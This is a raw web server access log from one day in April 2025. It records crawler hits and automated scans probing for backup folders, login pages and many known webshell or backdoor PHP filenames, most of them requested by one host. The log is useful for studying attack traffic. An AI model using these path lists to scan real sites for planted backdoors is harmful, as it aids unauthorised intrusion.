"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:39 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:41 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2a03:2880:12ff:2:: - - [09/Apr/2025:03:05:51 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 2a03:2880:10ff:1:: - - [09/Apr/2025:03:28:40 -0400] "GET /?fbclid=IwZXh0bgNhZW0CMTEAAR44lPcywsTKKTjijMg_dvZeD3E71FsJNuAyTIWJAxEEcW9shkgW3NpvV6QOLw_aem_iCLKm6l_DwF8UrnVbbJEFg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 216.244.66.236 - - [09/Apr/2025:03:37:19 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 34.60.235.190 - - [09/Apr/2025:04:28:37 -0400] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 34.60.235.190 - - [09/Apr/2025:04:28:44 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 205.169.39.1 - - [09/Apr/2025:04:57:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:33:37 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:33:41 -0400] "GET /siteheads.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:33:46 -0400] "GET /wp-content/siteheads.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:33:50 -0400] "GET /tempfuns.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:33:53 -0400] "GET /thoms.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:33:58 -0400] "GET /classfuns.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:34:03 -0400] "GET /userfuns.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:34:07 -0400] "GET /wp-content/hplfuns.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:34:09 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:34:13 -0400] "GET /termps.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:34:17 -0400] "GET /inputs.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:34:20 -0400] "GET /connects.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:34:24 -0400] "GET /hplfuns.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 2602:fb54:94e:: - - [09/Apr/2025:05:34:30 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 34.168.209.76 - - [09/Apr/2025:05:39:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 44.222.228.59 - - [09/Apr/2025:05:44:51 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 185.220.100.249 - - [09/Apr/2025:06:36:52 -0400] "GET / HTTP/1.1" 301 795 "grimslut.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 216.244.66.236 - - [09/Apr/2025:06:59:19 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 172.172.103.135 - - [09/Apr/2025:07:13:19 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:13:32 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:13:38 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:13:42 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:13:47 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:13:51 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:13:57 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:14:03 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:14:11 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [09/Apr/2025:07:14:15 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.157.149.188 - - [09/Apr/2025:07:43:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 134.122.135.80 - - [09/Apr/2025:07:48:04 -0400] "GET /plus/img/df_dedetitle.gif HTTP/1.1" 301 795 "http://grimslut.com/plus/img/df_dedetitle.gif" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 143.244.135.8 - - [09/Apr/2025:08:52:33 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 216.244.66.236 - - [09/Apr/2025:09:18:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 124.226.222.66 - - [09/Apr/2025:09:32:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.70.220.174 - - [09/Apr/2025:09:41:23 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:41:32 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:41:35 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:41:39 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:41:43 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:41:47 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:41:52 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:41:55 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:41:58 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:09:42:03 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2a01:4f8:121:44d7::2 - - [09/Apr/2025:09:56:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5" 216.244.66.236 - - [09/Apr/2025:12:37:39 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 40.87.40.118 - - [09/Apr/2025:14:22:28 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:30 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:30 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:31 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:31 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:32 -0400] "GET /WordPress/wp-admin/includes/zmFM.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:33 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:34 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:34 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:35 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:36 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:37 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:37 -0400] "GET /libraries/legacy/info.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:38 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:39 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:40 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:40 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:41 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:42 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:42 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:43 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:44 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:46 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:47 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:48 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:49 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:51 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:52 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:52 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:53 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:54 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:55 -0400] "GET /Assets/item.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:57 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:22:59 -0400] "GET /th/plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:00 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:04 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:06 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:07 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:08 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:09 -0400] "GET /wp-includes/block-patterns/vuln.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:09 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:11 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:12 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:14 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:16 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:18 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:20 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:20 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:22 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:26 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:28 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:29 -0400] "GET /wp-content/plugins/background-image-cropper/plugins.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:31 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:32 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:33 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:34 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:35 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:36 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:37 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:38 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:38 -0400] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:42 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:43 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:44 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:45 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:46 -0400] "GET /wp-includes/SimplePie/Cache/content.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:47 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:48 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:49 -0400] "GET /wp-mail.php/wp-includes/ID3/taptap-null.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:50 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:50 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:51 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:52 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:53 -0400] "GET /wp-content/plugins/duplicator/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:54 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:55 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:56 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:58 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:23:59 -0400] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:00 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:00 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:02 -0400] "GET /wp-includes/js/crop/zmFM.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:03 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:04 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:05 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:05 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:06 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:07 -0400] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:08 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:09 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:10 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:12 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:13 -0400] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:14 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:15 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:16 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:17 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:19 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:19 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:20 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:20 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:21 -0400] "GET /wp-includes/Requests/Response/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:22 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:23 -0400] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:23 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:24 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:25 -0400] "GET /wp-mail.php/wp-includes/ID3/wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:25 -0400] "GET /wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:25 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:26 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:26 -0400] "GET /css/item.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:27 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:28 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - - [09/Apr/2025:14:24:28 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.87.40.118 - 